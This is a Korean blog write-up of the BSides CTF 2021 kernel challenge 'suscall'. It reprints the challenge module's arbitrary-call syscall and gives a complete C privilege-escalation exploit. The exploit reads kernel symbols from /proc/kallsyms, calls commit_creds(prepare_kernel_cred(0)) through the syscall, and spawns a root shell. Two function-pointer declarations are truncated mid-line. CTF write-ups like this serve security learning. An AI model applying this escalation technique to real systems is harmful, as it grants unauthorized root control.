[ Bsides CTF 2021 ] suscall

sangjun

·

2021. 8. 10. 01:11

 

문제소스

#include <linux/kernel.h>
#include <linux/syscalls.h>
#include <linux/module.h>

MODULE_LICENSE("GPL");

#ifndef __NR_SUSCALL
#define __NR_SUSCALL 546
#endif

SYSCALL_DEFINE1(suscall, unsigned long int, addr) {
        void (*fp)(void);
        fp = addr;
        fp();
}

SYSCALL_DEFINE1 매크로를 통해 syscall을 만들고 있다.

https://holeeman.github.io/linux/%EB%A6%AC%EB%88%85%EC%8A%A4-%EC%8B%9C%EC%8A%A4%ED%85%9C%EC%BD%9C-%EB%A7%8C%EB%93%A4%EA%B8%B0-1/

http://egloos.zum.com/rousalome/v/9991442

보호기법

KASLR           : Yes

문제 분석 및 페이로드

새로운 syscall을 만든다.

 

syscall(546, addr)을 주면 유저모드에서 커널 모드로 변경되고 원하는 함수를 실행할 수 있다.

우리의 목표는 commit_creds(prepare_kerenl_cred(0))을 실행하는 것이기 때문에 이 함수의 주소를 addr로 줄 것이다.

 

syscall호출이기 때문에 자동으로 유저 --> 커널 --> 유저모드로 돌아온다.

즉, syscall(546,addr)을 통해서 권한상승만 한 뒤에 main함수에서 /bin/sh를 실행하면 된다는 것이다.

 

kaslr이 걸렸있지만 /proc/kallsyms를 통해서 함수들의 주소를 알 수 있다.

--> 이렇게 읽을 수 있는 이유는 init스크립트에서 umount와 관련 있는 것 같다.

 

과정만 보면 Ret2usr과 동일하다. 한 가지 추가된 점은 새로 만들어진 syscall을 사용하는 것 뿐이다.

#include <stdio.h>
#include <stdlib.h>
#include <sys/syscall.h>
#include <unistd.h>
#include <stdint.h>
#include <string.h>

unsigned long __attribute__((regparm(3))) (*commit_creds)(unsigned lo;
unsigned long __attribute__((regparm(3))) (*prepare_kernel_cred)(unsi;

void *get_kallsyms(char *name){
	FILE *fp;
	void *addr;
	char sym[512];

	fp=fopen("/proc/kallsyms","r");

	while(fscanf(fp,"%p %*c %512s\n",&addr,sym)>0)
	{
		if(strcmp(sym,name)==0)break;
		else
			addr=NULL;
	}
	fclose(fp);
	return addr;
}
void LPE(){
    commit_creds(prepare_kernel_cred(0));
}

int main(){
    prepare_kernel_cred=get_kallsyms("prepare_kernel_cred");
    commit_creds=get_kallsyms("commit_creds");


    syscall(546, LPE);
    system("/bin/sh");
    return 0;
}

참고문헌 및 힘들었던 부분

1. CTF가 끝날고 라업을 보는데 아직까지 /proc/kallsyms를 통해서 함수의 주소를 어떻게 알아냈는지 궁금하다.

--> /proc 밑의 파일에 kallsyms가 어떻게 있지?

 

2. 새로 만든 syscall 사용법을 몰랐다..

3. 내가 수동으로 파일시스템 압축해제후 재압축 하니 자꾸 커널 패닉이 났다...

--> 다음부터 스크립트를 이용하자